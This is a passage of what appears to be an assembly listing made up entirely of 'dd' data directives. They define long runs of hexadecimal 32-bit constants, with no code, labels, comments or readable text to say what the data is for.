0A1012706h, 28C0B671h, 189AE764h, 1A4CF534h, 0BB9C9336h dd 3C2EDD0Ah, 5C4C2DB7h, 68CAA04Fh, 0C66300BDh, 537BF9A4h dd 0D00AA8Eh, 0DB18415Fh, 3BC66125h, 0CAED1455h, 7223C2B4h dd 84B44555h, 427ABC25h, 3733BD56h, 351E3247h, 0D0DD0Dh dd 0E901986Ah, 0A42F6996h, 2740F8CEh, 6E194857h, 0FD4CF4A2h dd 0EA31465Ch, 5D85D30Bh, 0B7CE7A7Fh, 0D8AB9AA8h, 20FF6A6Fh dd 581391B8h, 0F0267FC0h, 0B2010A06h, 635BE278h, 84A200F5h dd 81A545FAh, 92564DECh, 522CA0C8h, 59213689h, 0E0A93964h dd 9A128D59h, 44EBFC6Ch, 603252B7h, 0EEBCCFF7h, 5CFC83C2h dd 23EF1423h, 7F8B2Ah, 55CC337Fh, 9717CE90h, 74F22D2Eh dd 0AE9712E2h, 45518D90h, 0BBCF7D67h, 2F85437Dh, 86A0A825h dd 438BDC91h, 0A957DFD5h, 0F3357099h, 89AF51A9h, 0ABE6CD68h dd 78A4E82Bh, 2113560h, 70DA80FEh, 0FDF83B7Eh, 14953804h dd 903AC874h, 3F147AF6h, 64E1FD9Dh, 76EA7577h, 0EACB55D5h dd 0F5CB7794h, 372771C9h, 0B1BB0C43h, 562BF78Ch, 17588507h dd 94D53D15h, 0F9CB2178h, 0AAE7AA02h, 41DB4C03h, 0B63E415h dd 2C986448h, 8B9D5E93h, 0CBDFB4B8h, 0C08C247Ch, 0EC433552h dd 4932AEC5h, 7DF8FB21h, 5A038C0Ch, 77B695Ch, 0B267813Bh dd 72209F4Eh, 0F8C0C114h, 69706945h, 41374567h, 0E3FC6419h dd 4A736977h, 0FEE56AE2h, 0B3CC99Ch, 0D9CBD9FFh, 484DE5D4h dd 7F5F6E95h, 26BF284Ah, 0B6C9627Eh, 5E67A7C6h, 0A3D1C7D5h dd 0ABE08477h, 40611822h, 276BC7C4h, 6DF00CC4h, 5075AB9Bh dd 0E08E2340h, 4B0178FCh, 0D0B44D0Ah, 8D6CF6DAh, 20B7F1EFh dd 0EAEF33ADh, 969CE161h, 0EF42CC72h, 538EAAC1h, 0F819AA28h dd 5B2B82AFh, 80AE260Ah, 568464EAh, 1534E3D1h, 0F46AC3E6h dd 4B1BD423h, 7D690338h, 0B0F5EDE9h, 0B28B2C44h, 0C4559976h dd 0FCEAD01Ah, 0F900E782h, 0BC050212h, 668B209Ch, 55FDF3EAh dd 70E35835h, 0E6A334F4h, 23B91B37h, 75CCEB27h, 0E3D1EE98h dd 6F5772FAh, 9DCAA6A4h, 0C0816511h, 30DD9431h, 0C7C74E8Bh dd 0BC18D09Fh, 1711ADEDh, 5D4AAA00h, 2131AE9Fh, 8F2DDE2Ah dd 38DF2F8h, 2E09465Fh, 6B258C91h, 312E52BDh, 0CF6981A8h dd 0F2B40A3Bh, 0A1C27B66h, 708D4CCEh, 1B0CC3F7h, 20A7B981h dd 0DAD09A1Fh, 196625F6h, 3F0E40B4h, 639FE629h, 97E0E1BEh dd 2C269CBAh, 0EB8EBBB8h, 0FAEB178Ch, 0F96D7E93h, 0FC988E8Dh dd 0CC938FB6h, 6EDA22C1h, 0E0F10FEBh, 1EEA5543h, 494004Bh dd 167E3837h, 278665F4h, 140C35CBh, 0A9560E88h, 0BA056318h dd 0D68F2427h, 50B42C48h, 9F6A17FAh, 0C724D538h, 77A80CABh dd 844F66F9h, 19F1C834h, 84D7B622h, 0BBC28471h, 2F18FE9Ah dd 0C750695h, 30E87426h, 0C5832AD2h, 0A153846Bh, 60C4D190h dd 4CB796FAh, 0B06C126Bh, 0E739F321h, 0B64BDBB3h, 43AE17C8h dd 0C23CDFD9h, 0E9D629D6h, 153C6415h, 0DA347A33h, 0A69A82FBh dd 9FA0EAC6h, 0C6CE42FCh, 80DB2E99h, 0F81A8A94h, 3A131A1Eh dd 94C4239Eh, 7051131h, 7D88438Bh, 369BA19Eh, 0B6C24D6Bh dd 9B56EC03h, 5B7DD596h, 0A1A97899h, 469BE9E8h, 7019D03Ah dd 0A1A1436Fh, 8FF599ABh, 0D350FB4Ah, 1E88572Bh, 76ACE7B2h dd 5D34EB91h, 3FB7D120h, 0BC6F51E7h, 0E3FA4D24h, 0F126E370h dd 0D57AC9E9h, 806244B0h, 2A37FF09h, 5EDE0E82h, 5787768Ch dd 8E55E6A6h, 993EC101h, 27EB582Ch, 0D1F51714h, 0A4D1C504h dd 826C382Dh, 89E28A67h, 0CB1919ECh, 0FE1DD6D1h, 0A6E8FDEDh dd 0D55F7A0Bh, 4D2992D2h, 0F9E5D833h, 7B00294Bh, 37E65DDFh dd 0E83DD471h, 6C734A83h, 0E4881B79h, 1BF2680Bh, 77E5C25Bh dd 923CA8D7h, 7AE0D694h, 0BFBF875Ah, 0D32D4CDDh, 4A5539h dd 7118DFCBh, 9FECC9E4h, 0CD1A4EE4h, 0CEA24B7Eh, 2A86E3E8h dd 327D2144h, 0F5607C20h, 0E1A6D35Ch, 2C8E3BFh, 31B98A7Ah dd 3C537D2Bh, 0F07DDAC2h, 60193E55h, 0E28FD83Ch, 4E7899EEh dd 4BC941C1h, 0CBEF6BB6h, 951F9E8Ch, 0B7E095EDh, 69715079h dd 0C6576EDBh, 0E62EAAF1h, 6A39808Dh, 3857C83Dh, 0A36B8350h dd 1D1BEC3Fh, 5B76E9E4h, 0D5136EF5h, 0F02AE0B7h, 0BB5E4470h dd 8F7A7B42h, 91F10EA8h, 12B5B9BCh, 989891Bh, 0CF8B3321h dd 0EDC3A052h, 0AF82FA13h, 9E775289h, 0A766B2FDh, 0DACDCFF0h dd 2A3462F6h, 0B4B96590h, 51FC20h, 4FAD1750h, 610D88BEh dd 0ED5E69Eh, 3FE9D958h, 0EDCA3F0Dh, 68E655E9h, 0A5254664h dd 828E94B1h, 29D5D0F3h, 0D2CCE297h, 6479DA01h, 7A1DE856h dd 0F5CFC0Bh, 46FB85DDh, 0A4110C56h, 3F75C36Eh, 2D8B30BBh dd 7D0B28D8h, 0CA9EB81Dh, 298AD5CEh, 0BF5A731Ah, 0D5BE85F7h dd 0CBAE361h, 0AC39452h, 0FB6FD3FBh, 817E4E55h, 0B19D71E6h dd 99F3B7F2h, 60A19F1Dh, 0D7EB4D0h, 0F9412492h, 5CF32045h dd 4579FC2Eh, 2A5E73FCh, 0E901955h, 0F1E9509Ch, 4CF8DC6Dh dd 9BA13E4Ch, 37CD344Dh, 0D7F93AA0h, 9BA5B6B9h, 30262A5Fh dd 7506D69Bh, 9ADC4368h, 4143F619h, 45847541h, 838DB22Ch dd 0E1C0703h, 0ED2C070Fh, 65D81F28h, 7188D184h, 0D3F53769h dd 0D17CFC54h, 9045CBD7h, 0B7C3241Ah, 0AF52344h, 2B8619B5h dd 1960EA43h, 0D47994C4h, 4E55C0B0h, 0CA694754h, 0C927D619h dd 0BC3B973Dh, 74FC2295h, 9625C9E3h, 80127153h, 8662B65Dh dd 6CD02468h, 0D5E4C1h, 59DE91C1h, 2DA993DAh, 68C0ED0Ah dd 9F205E0Bh, 0FA2B1A3Fh, 0A14C8482h, 3B083614h, 3F4DEB2Ah dd 0A225FB04h, 13EC9B99h, 0AAB4A135h, 0E503CC34h, 0F9AC4E52h dd 985A1D2Ah, 9C715E9Dh, 2B9FEEC2h, 1AC38F75h, 9B304C0Bh dd 0C446D8ABh, 0CBF9BD8Eh, 66118218h, 0AD1EDA55h, 557957C3h dd 0DFBDB353h, 3B975FFAh, 39655426h, 1C1D450Ch, 0ECACBF76h dd 8580AC83h, 2C6F80C8h, 209F2CF1h, 0F2412923h, 19091162h dd 921797A5h, 0E7F06D8Ch, 172FD731h, 0C2D173F9h, 5C05EF67h dd 0FFD71A7Eh, 0FAF9CEA4h, 3DC52D03h, 0DF11A567h, 54368B76h dd 1034DFFDh, 82B2422Ah, 0EBF31BB7h, 0E70456BDh, 8E0AA38Ah dd 7EB6CC19h, 0EE118706h, 0B2B4FA71h, 94033D43h, 33202E00h dd 6D72A705h, 2AC02330h, 86B5EF50h, 1D0BD8E0h, 122BA846h dd 9EDEBB6Ah, 24CB9EAh, 83F3F630h, 2E3636h, 4A10CF0Eh dd 0E77B8BDh, 7D523DFCh dd 7528D476h, 0CF9345A9h, 5C94AF0Fh, 4F530558h, 0EB618576h dd 7C4A44DDh, 0CC0E8CFh, 0DABBEA76h, 9EAAD3B6h, 96D287D9h dd 9B71ED6Dh, 1732C68Dh, 2DA041A5h, 74251F9Eh, 0D7DEB94Fh dd 0A9D0B365h, 0F5E8FA78h, 73114ECAh, 0F6CE5E82h, 9AA9826Bh dd 88D16288h, 1BC13525h, 8E65CA4Eh, 365ADAD7h, 555A517Fh dd 261ABE61h, 7EC435CEh, 58D51093h, 78F7D64Dh, 0ACE461E0h dd 80234C54h, 617EF8C9h, 0C2ADCE37h, 0B9F493E7h, 4F3C7D9h dd 1A837730h, 7DA9F49Bh, 7CB755F9h, 0DF72991Fh, 113C4AB2h dd 0A3BC2BF3h, 0F0841321h, 4C80700Ch, 4476C648h, 2AC9A7E1h dd 8FE74C61h, 102D34D9h, 0DC1ECF7Fh, 9EEAFDCCh, 5B005C05h dd 9B6906AEh, 7BCBEC1Ah, 329F9D25h, 2034361h, 48B2792h dd 99DF0196h, 0F0898A57h, 253B4FC8h, 20DAEC53h, 982891E9h dd 9286D90Dh, 8252AE8Ah, 9F946B1Eh, 0A17F886h, 53B5AB9Dh dd 0B994695Bh, 0A563EA29h, 54C8D1F1h, 0A5AAFC4Bh, 7C69CD3Bh dd 1ABC3D1Bh, 19189477h, 3E91CF98h, 0B37B2269h, 341793Ah dd 0F90BEC43h, 0A9BA2B05h, 41F9B24Ah, 0D2600332h, 4C533173h dd 5D81C22Ch, 0AE0D6717h, 2F04AA72h, 2EEBAFE8h, 685B2D4Ah dd 2354F37h, 1D802865h, 56CE733Ch, 0BC044C6Bh, 0C71C1051h dd 3D992FFCh, 0EFC1C42Ch, 1AD32C10h, 0F2D62C63h, 5A3D68Eh dd 3CEC51D9h, 3E3289C8h, 3E8AC4B0h, 0B97258B2h, 0C1EE6930h dd 46FCAFC4h, 0AB1BBFB5h, 8EE50BFAh, 6D25EAD4h, 177EB64h dd 0A20DA075h, 0A7968169h, 8E2AE61Ch, 227F7CDFh, 74D26D5Fh dd 4305DF1Eh, 8096CFEBh, 0CF3C2522h, 0FC1C8123h, 6AB94B3h dd 4852FFE4h, 449409FAh, 0C51B5631h, 0A313D49Bh, 0C119EA68h dd 0DC6FD226h, 0C241CB4h, 890D3BB9h, 6037D33Dh, 88CA1FCAh dd 8D863533h, 0C34AD40Fh, 8C5AD6C6h, 9ED8ED3Bh, 308CFF77h dd 28887FAFh, 2CA515F2h, 0F6DCF879h, 2E86A0A6h, 4BEA8660h dd 62F86330h, 241DDD3h, 0F09BFC65h, 0ED655395h, 0D94408F5h dd 1D57EF67h, 0CB99ACF7h, 5B3CC4B2h, 318C772Ch, 7A91F098h dd 62FF5230h, 0D18E29C8h, 0A8B86A62h, 91689F4Eh, 4CE13F32h dd 0C6A9131h, 323B485Dh, 45CA6804h, 306762FFh, 2A1E7290h dd 7533D272h, 0AE03A8F1h, 53648687h, 0F55BC0E1h, 0AC644E49h dd 71D46A84h, 8D02CB69h, 0AE43D169h, 1F0461C2h, 623798BEh dd 1A7668B0h, 9F13E998h, 0A090950h, 0A3A9663Bh, 0D3058212h dd 92AC1DE8h, 3C51A22Bh, 7583814Ah, 0FEB5AACAh, 0D475A2FEh dd 34737E8Bh, 0DD4E668Ah, 0CBCB8247h, 2E3FA605h, 617EE374h dd 0F0AC982Eh, 0D09E29FBh, 785C6378h, 2B2651AFh, 0A1E67BC9h dd 656C9DBh, 7AB8EAB4h, 0F1192B80h, 0E1D7F8ADh, 3328085Fh dd 65A1CBEDh, 7D7DFF40h, 3299215Fh, 0ADC4ED9Eh, 752971A0h dd 0DC2C6C65h, 0A633D482h, 60371826h, 8A5768D3h, 1FCDF0D2h dd 99E19C1Dh, 3003C309h, 294A0A7Fh, 3C5C6B6Ch, 59C01D32h dd 3725C934h, 0B13591CAh, 0CDBB0A9Dh, 5D4EC07Eh, 0A8C548BFh dd 7B2A3D03h, 7C44B0B7h, 9149D8CCh, 45EAABA2h, 0FF6D4A5Ah dd 0DD6DF119h, 48097A53h, 9DDD968h, 0C61128E3h, 22C46E81h dd 27BDB60Dh, 633A72BBh, 0EE5DB1F1h, 1EF548DFh, 1A29240Ah dd 13640FDEh, 0E343595Eh, 0A73AA8BAh, 0C582D736h, 94318DA8h dd 16C7A33Ch, 0BB6F8457h, 1D338EE9h, 7B4F4E7Bh, 4FA5B85Eh dd 25096B1Dh, 0ADE5503Eh, 2D617DDh, 0A0868AA4h, 91F3DE6Bh dd 8F7098Dh, 1579793Dh, 0F4FDFDE8h, 0AD9F5D2Eh, 339D857Eh dd 0AB7CF572h, 849D1604h, 50BE150Fh, 1819E96Eh, 454893DAh dd 0BAA84DA9h, 0B99B9458h, 8364985Dh, 0A1A09282h, 97B3F66Ah dd 8A686ED3h, 92D2A2F1h, 62265797h, 0C59474CAh, 747B40A0h dd 0E76C2703h, 0CF63E4DBh, 7258B6DBh, 22526C72h, 0AAF34763h dd 0B007986h, 2491F06Eh, 46390391h, 27EB8E4Ch, 3A20BC5Fh dd 0F3370EC8h, 6DA04B4Dh, 0C6BD80C1h, 5649EE32h, 0C50C0030h dd 0D222808Fh, 3E81DB01h, 2E1C8A5h, 0C696E5C0h, 47C9DC40h dd 0E5041964h, 8E2BC221h, 0E4FA4E9Ah, 4DDC9D6Ch, 79993C19h dd 0EAB988F5h, 0A7D41173h, 1B75926Dh, 5018A40Dh, 0E91682B0h dd 0B3D522F8h, 83D0300Ch, 0FB50CD72h, 0A2CD482Bh, 0A354B2E0h dd 24E289D2h, 24006DE7h, 9D0129FBh, 258C2E80h, 0B23A6FFFh dd 704D9571h, 0F898AB65h, 7319741Bh, 0CDB763D6h, 0C6509E83h dd 5EA6E97Bh, 0DD851C5Bh, 91E88B03h, 0BA565964h, 2C4D5B5Bh dd 928D40Eh, 5D1B1196h, 0D7C5F3C5h, 702F810Ah, 71FAE7DCh dd 82C46161h, 0EA0AB4F1h, 73003C57h, 56B47487h, 6ED07254h dd 0B726F4DEh, 5A65BC60h, 0B8E1F7FBh, 3DE29B2Ch, 0CF77DFE6h dd 112F47F2h, 67C7060Bh, 0AC536754h, 64FBE41h, 0ADB0427Ch dd 0BDA49A5Bh, 0F7D6B918h, 6F107E46h, 4A581B61h, 292E7F5Fh dd 0D69792BEh, 1F705963h, 0E5973AD7h, 0DC94767Eh, 0D5C445C3h dd 18473329h, 1147D518h, 4B5C9986h, 6F3E2DEBh, 0C7D2F0A0h dd 1452E366h, 0D267B664h, 223A01Ah, 1E395C66h, 0B2D0BC86h dd 22C7345Fh, 89E23BE3h, 422AA395h, 4787AA51h, 0C98FC25Bh dd 0D9E87149h, 0DBC12807h, 0B2901597h, 8D6CBC11h, 2C6F4FD2h dd 0E53B3D85h, 0B91A11D1h, 3D13F4D3h, 0A88B8948h, 0AE1274Ch dd 5A845450h, 0ACEC6619h, 8C6B301Bh, 0F79A3574h, 0DE028E92h dd 9997ECB8h, 0E3F4AEB4h, 0B5BB05D1h, 41552153h, 41FDDCE9h dd 31549A90h, 17629D3Ch, 0D00F8A8Ah, 952EF65Ah, 8DAD68D0h dd 0EBAD58A1h, 0A8386F40h, 2C779176h, 4067F40Fh, 0D61C021h dd 0C71D2F30h, 7DAD6734h, 75A7A9E6h, 69DA9123h, 0E9A93C90h dd 99BD1AA6h, 864DC9C5h, 0EBE7EE3Bh, 8F1C29F4h, 4BEED93h dd 33D46400h, 0D05715E6h, 43502F1Fh, 0E84FAF5Fh, 6AA6752Bh dd 0C4FAEDACh, 2B9890DDh, 8DFBA773h, 3D080Ah, 0D843E0E6h dd 1782EAA0h, 0E86C7A12h, 17B73357h, 52D59E60h, 19C7CD45h dd 751C3426h, 0B907EDF7h, 8B628E13h, 0B810B108h, 3A8E8E53h dd 33458D2Fh, 2F2D194Bh, 3151D268h, 2A15146Eh, 38E93236h dd 5408BCECh, 30B678FAh, 0AE4EEB5h, 3E3E84E1h, 227D3DDBh dd 9D0D4F64h, 66C29F75h, 105735D1h, 9215F1A7h, 20B31A30h dd 5879EA7h, 0DBFA7721h, 0AF20F11Dh, 0E3206E70h, 0D3499F9Ch dd 12B99663h, 4DBA6E4Ah, 0E1A8EB72h, 8ADCC827h, 801A141Bh dd 9EB7FCDh, 5692FF52h, 4A919581h, 1DA2C2B8h, 85FBCC54h dd 0DD4F69Fh, 6B80F4C0h, 3F5E2456h, 6AE5AD63h, 37ED8FE0h dd 45FACF9Ah, 6337B9E8h, 0F02AF456h, 0AD0030DBh, 0B9036C61h dd 0D444B226h, 0DFAA776Fh, 23DE2325h, 0F0A50500h, 94C40D7Ah dd 0A8AC0A2Ch, 43954C40h, 0B0B9D041h, 1223DC8Eh, 0FAD8F32Dh dd 0FC0E0616h, 0A61E03EDh, 1AFC4DBh, 7CA4C6DEh, 4C4FB1B8h dd 0DA945B8Ch, 605B53C6h, 0DCCE1203h, 7A0DEF34h, 5E08BE93h dd 0DC42D184h, 0E0008198h, 3DBD991Bh, 6740C2F8h, 0E5C0FCEEh dd 9CD2CC87h, 53601DF2h, 5678FCA3h, 0EFD21CA2h, 0B0CA9A14h dd 43147F4Fh, 0A8379E95h, 2F27C5EEh, 30E94C12h, 0B6B7ECC5h dd 0F7EBFF1Bh, 9E419A4Eh, 33D8B390h, 0EA7E97C6h, 2525D0F1h dd 7658DB9Ch, 0A073BBAEh, 44CAA4E1h, 40F1646Eh, 2D216D4Dh dd 473CD981h, 36E7F7D0h, 1DFD2F52h, 4252669Eh, 3317CFBCh dd 5358689Ch, 0DFFA160Fh, 0AB1BC98Dh, 57C5C30Eh, 0A00AB45Fh dd 7A1D7FE3h, 0A21C3FF9h dd 0FFC3E58Ch, 76D70003h, 0E6E04FB9h, 0BDE122E7h, 61E99463h dd 19215DD5h, 0C87A20B6h, 0DE58934Eh, 95D05A3Dh, 0B2147462h dd 9387D449h, 92196D35h, 0C011B90h, 433BE421h, 0A9FDA6CBh dd 421ED0FAh, 57EC280Bh, 590902DEh, 835F63ACh, 0DE12C597h dd 5EEDD8EDh, 668379E1h, 9ED0409h, 5CF0B886h, 2832C69Fh dd 1934E07Dh, 0D2BE3A76h, 1E34B71h, 3A402B3h, 0D517DDE9h dd 8DFA58A4h, 0AA9F8CCBh, 30C4F9B1h, 14FC09D9h, 0F765720Eh dd 0BAF3D266h, 158C3C95h, 0E3575D04h, 122A4E35h, 4ED7F15Eh dd 186D55FBh, 0BFF57374h, 367250C0h, 179938D8h, 5FC8E721h dd 22639080h, 0D965CC4h, 9A036C72h, 4FE6E185h, 0DF4D92DDh dd 0CB581BA6h, 5DFF0BCAh, 0CBBDC149h, 0DD55AFF1h, 0D45DEC15h dd 361803Bh, 2104CC7Eh, 19A21C5Ah, 7AFC954h, 5197FBBAh dd 0B722037Eh, 2040C56Eh, 0C3A9BF98h, 0EC05B152h, 0BBB4050Fh dd 0D7299936h, 0F486807Bh, 205432C1h, 69C136A1h, 0AF6A9813h dd 0FE289343h, 930D61Ch, 0C86A5B06h, 1B2AB62Fh, 72BB8A4Eh dd 0F7C721ADh, 0AE7CB675h, 8D5D5061h, 0D786F93Dh, 2C9775B1h dd 7BD7264Eh, 9DBAB11h, 48B07952h, 6329138Dh, 0A0C1BF4Fh dd 0DBE708C3h, 75A0F026h, 0BCF230B0h, 69BF246Ch, 0E0D9934Dh dd 577E90FDh, 0CED1B245h, 0D9AA0CE4h, 0EBF59BADh, 9112BA79h dd 0DB9332BBh, 49E1976Eh, 0D9E54243h, 0CE5BD294h, 69EF0337h dd 819826D2h, 5BD48DEFh, 6BFA9200h, 9AECDE22h, 0F132B112h dd 8944B0FAh, 0B9D6A67Eh, 88ED1A78h, 8F91ED58h, 0A7B87BE0h dd 0A53D1F05h, 0FAF88AB6h, 641CCDB0h, 491970E5h, 469925C9h dd 0F2E83060h, 0C327D37Ah, 0B75E7F81h, 0A2866CBAh, 0EFB24649h dd 7E110938h, 0DDD62BCEh, 0A92CF3F4h, 8257B97Bh, 0B9A235Eh dd 0BC640FAAh, 0E9736DFBh, 0D00A3AD6h, 0F769C02Eh, 0A77AEF2Ah dd 81DA653Ah, 0EB064A5Ah, 0CF1F16EBh, 7F112B7Dh, 8277E34Ah dd 0A5F50345h, 3EE17D48h, 0A3B6B2AEh, 46692AF5h, 921F841Ah dd 0DBEA9FC2h, 35522956h, 5F1B8AFFh, 7B0BB00Fh, 6B7ED5A6h dd 0DEA418E6h, 0ACF3F585h, 0A21DB774h, 0DBA86C18h, 24FFA88Fh dd 2A270A7h, 2A4613E4h, 1724ACB4h, 16A980AFh, 17580E27h dd 0FAA27F4Dh, 3F8DADE3h, 319FA75Ch, 0A055FE32h, 0EF7E7B9Eh dd 40CCACD6h, 3DD1A6EBh, 4BAD613Dh, 3B6F0BFDh, 45CDD329h dd 6515955Eh, 4AE1EBEAh, 3E0B71EAh, 4327DA8Bh, 48B1E4EAh dd 2F70F958h, 0FF3BF99Fh, 704A5DA8h, 66723C58h, 6B5516E1h dd 6E4644A9h, 8F8F1473h, 74C963C1h, 2DEF4D6Ah, 82250C63h dd 0F2B4751Ch, 9F914D1Ch, 2AB770A7h, 22317124h, 0ABE22ED0h dd 0A2D9FB53h, 7392F939h, 5878A672h, 0C92BA2B5h, 0CD397CE0h dd 109ADE94h, 405A79AAh, 66DD8CFEh, 73E72ECCh, 0C5CD59DAh dd 400B0E86h, 0F272D95Eh, 44AED79Ah, 3BD5B810h, 2A241A90h dd 7BF47A71h, 0DF5721AAh, 0E1178CB7h, 76E9C767h, 0C8C607C7h dd 0EB5DA91Fh, 0C36E4400h, 0EC6A1098h, 6571E03Ch, 9E974F09h dd 9CF670A5h, 36DB4FC5h, 800F7C54h, 9EAC8D28h, 0E152B7C6h dd 5541C887h, 0EC8271D8h, 12F5CE7Bh, 803FE5EDh, 553BC15Bh dd 39841A39h, 40F1E861h, 7B476A5Ch, 2661DFAh, 90D8E84Ah dd 0C40B9A21h, 58997F96h, 0BD2D2F51h, 88E6E732h, 1A61924Eh dd 4E2892B9h, 134D330Fh, 0FC3ED6F1h, 9941090Ah, 0BDF24D05h dd 38A578C0h, 0C6A81707h, 42CF709h, 0B88611FEh, 39068B0Dh dd 760720FAh, 932AE9D5h, 566425Eh, 6A49FD31h, 7BE3885Ch dd 0F5EF3CA1h, 66926FCAh, 0B93994CFh, 7DF8570Fh, 0A6557235h dd 75F3DA3Dh, 0A8DAE865h, 0E4C60869h, 0BEAEF37Ch, 6BBABBF8h dd 0FE465D4Bh, 821BC047h, 5A220D00h, 863C051Eh, 9263AE00h dd 36140B5Ch, 0A34C0A56h, 8EBA3294h, 88054B44h, 7F97D825h dd 0C5886761h, 95623922h, 1E8CFBFCh, 259F2309h, 0A8FC126h dd 8E19E34h, 0AAB63DBAh, 0FBCB1F43h, 0AB21D9ADh, 0BF9C0A7Bh dd 79F62E82h, 911D9A4Ch, 0CE4607A4h, 0A9A4E354h, 68596604h dd 3F9D8069h, 772C6708h, 26A05626h, 355D840Dh, 0C22CBDB4h dd 0E8422C8Dh, 0F57C7F7Eh, 0D78C3200h, 0DFC2ABBDh, 0BFC815F8h dd 0B8E64A38h, 0D1D27D31h, 75A3446Dh, 0ED6F0D36h, 0C1171323h dd 23A875ACh, 2E893E2Fh, 0D44E5365h, 7B23D2FEh, 5A1B9C69h dd 0A30BCC9Ch, 23DD04Dh, 58824A54h, 2BF264B1h, 0E1D56EF1h dd 0A997CA81h, 44FAEC2Ah, 0DE558B30h, 0FD60196Dh, 308A460Dh dd 69540264h, 78454EC3h, 5C18D410h, 4067458Fh, 0B5CED372h dd 0D4DCB62Ah, 0AB608211h, 3425BC2Fh, 3FFD8766h, 0C4B32211h dd 6AF5286Fh, 1EAE01A1h, 0E8A00B1h, 780DF939h, 0C79591F7h dd 0A471F32Fh, 56A1E8Bh, 8C04AF44h, 3C8C539h, 8D37CD9Ah dd 50AE42Eh, 3F0D170Ch, 15E2C46Eh, 25ABC206h, 0C6559290h dd 91CC397Bh, 1AA9D0D7h, 8830D0EFh, 9A0A9E25h, 53B2F768h dd 0EE22C028h, 0BAE26EEEh, 6F78AF1Eh, 0F4E20FACh, 0B41A136Ch dd 0AA7F0D7Eh, 0A516A908h, 0B2268726h, 2ACF4ABBh, 130587CFh dd 0D994FED5h, 0EEE40125h, 5D9FC5ACh, 570AD0A1h, 78CDE850h dd 2E1209Eh, 0B14FF9A7h, 7388E68h, 950D9307h, 78539790h dd 7C5EE41Ch, 2933D6AFh, 44F16005h, 36484FC2h, 53D7CFECh dd 38BD7E6Eh, 13C007FAh, 0B1A8341Ah, 821DF742h, 93FAB994h dd 5DECBA9Fh, 51CCE41Ah, 15B71C4Bh, 0A12CB6BFh, 0FA8D0271h dd 0B635160Ah, 12DF2755h, 0BA4E26BCh, 17B2EED0h, 0F3B5B063h dd 0DC9747EAh, 97F619B7h, 3D57F690h, 0EC75DF57h, 585173Ah dd 0E7AA3D01h, 0EC72D2BBh, 953E72FEh, 712536C2h, 41E9C8D4h dd 0D8D5E152h, 0AF1AFA2Fh, 52DDC873h, 42241E95h, 84B4CBBBh dd 85D3E16h, 5561C7FBh, 0A761C559h, 0DB339935h, 0D270536Ah dd 0C16957E6h, 5EB13FECh, 0AF803173h, 60D58B5Ah, 5909CC71h dd 3FBC1220h, 2746011Ch, 0B94981BAh, 0BA6652B1h, 0BF9E7D89h dd 0D3B830A2h, 81B0DEC6h, 0B18B3B0Dh, 567BBA00h, 0FF60E10Ch dd 0CD3F6890h, 24FB0FB9h, 0C6037B03h, 5693E0F1h, 78AA1AC3h dd 0C45BB813h, 0DA99D917h, 0F0B4746Bh, 940A2E1Eh, 0E550C05h dd 4C98C7Fh, 0F49EDB24h, 6F8D3F74h, 2E32D261h, 0B9191973h dd 9E0E15E7h, 0CDC743E8h, 3E0FA914h, 0FDCBC24Bh, 1D08F26h dd 0E602F2BDh, 88736F78h, 41D118B0h, 0EE36D416h, 86D1CF43h dd 0CAC15A00h, 7A02D89Fh, 0AEB7A6E7h, 15372238h, 523EA297h dd 0D9FFF068h, 0C5F0BEEAh, 1B0F5206h, 48378562h, 0E08FF7A9h dd 66BA2D4Dh, 3586F2D3h, 536BABE0h, 8723EB45h, 42975BDh dd 2C1B42DCh, 0FD309106h, 8CFD05E8h, 0F6F2A6DAh, 75836D87h dd 5A22153Fh, 2BB4AA3Dh, 0A2102F21h, 5B4CC084h, 5E18CBE3h dd 621B211h, 0B65B5115h, 2BD998DDh, 0E274DAA4h, 0FB29148Ch dd 976DA4FCh, 7B7C3108h, 0FC1AD219h, 57E7FC4Bh, 0F74BDCBBh dd 385235CCh, 9D2FF3E0h, 6FCCA861h, 0B9774DECh, 0FF637EF9h dd 7B9DF72Ch, 0C2983AC3h, 0E93C6A3Ah, 0EB389DEBh, 5625BCF8h dd 982D49EEh, 4839AA44h, 3892E128h, 0AE499FFEh, 7976FFC0h dd 0BE435D07h, 3F7C647h, 2F63B976h, 0D8CC14C9h, 6876B4F2h dd 1D7A712Fh, 31A71F29h, 3DDF1A72h, 625C3149h, 0FC02601Ah dd 7D35A097h, 0ADE92591h, 93EB0F4Eh, 89129FDFh, 3D11FFCBh dd 4C9698Bh, 0C43FD02Ah, 69782D20h, 33993D5Eh, 0F255BD54h dd 55E2E6F0h, 0A17B121h dd 2857CFB6h, 88C4D7F1h, 0C6516A8Ah, 4987572Bh, 0DF7D0CAAh dd 47CF0135h, 0BD91DFCCh, 0A9E56F4Dh, 0AEB4C09h, 11B98295h dd 2CE3D577h, 1C9EBD41h, 94F53A08h, 0ADF00F0h, 47539809h dd 0F1C6F86Bh, 0AAA40B12h, 211041DAh, 2914F8FDh, 0B54DE160h dd 7AD87DD7h, 0DB7C31F8h, 67857034h, 149F9064h, 4A66623h dd 0F99E9D5Bh, 93F87475h, 58060391h, 3989E48Ah, 7FBD04B3h dd 789A3677h, 4AC27176h, 0AAD65DE3h, 7185142Eh, 683EFB62h dd 490302E8h, 3E97723Ch, 57261B64h, 284CCBD1h, 0C274DE1Fh dd 96616962h, 0EB3ECC5Ah, 0A432B3ABh, 0D0C2A272h, 0C6027255h dd 7BE69BB7h, 3A96EE41h, 767D99FBh, 64F369ECh, 0F90A516Dh dd 0AD213F99h, 8B0E7720h, 87C2944Bh, 5E2E8469h, 5B52CD44h dd 834C5643h, 36A6DF9Dh, 9A23B849h, 6C767AA9h, 6C258A09h dd 3E97279Eh, 2055E5F7h, 0F043C5AFh, 0F14C1E78h, 0C9244546h dd 0D16C8B0h, 7C08CDBFh, 56E370Ah, 5D6D4466h, 0FDB4EA95h dd 3C779D7Ah, 0B66F146Bh, 0BC038C8Eh, 668C5EA9h, 34608A14h dd 0E1336526h, 0CE2DF8C4h, 5CA76501h, 0AA405C4Ch, 0CE87BEA0h dd 0E39F256Ah, 90BF275Fh, 186FF147h, 52AB05A9h, 17029E61h dd 0EA1152C8h, 96E6B451h, 35867325h, 0AF3E229Ch, 4D8A5465h dd 808F5D64h, 0F3F0F1A0h, 3E1B984Fh, 1C8D6979h, 0BA5692EBh dd 0B73B155Ah, 2EA6950Ah, 2625A12Fh, 0EF58C311h, 3BB929D6h dd 32BD9F0h, 0B78AF489h, 9CE637E3h, 985C877Fh, 0E3C2826Dh dd 5AF4EB7Fh, 9FC24D6h, 7D4BB2D9h, 6922F298h, 2B24E435h dd 1C75D66Ch, 831BE89Fh, 544C9FADh, 0FCA9254Fh, 8EE5B741h dd 38BA6F00h, 0FA81A4D4h, 2A737DCAh, 681643AAh, 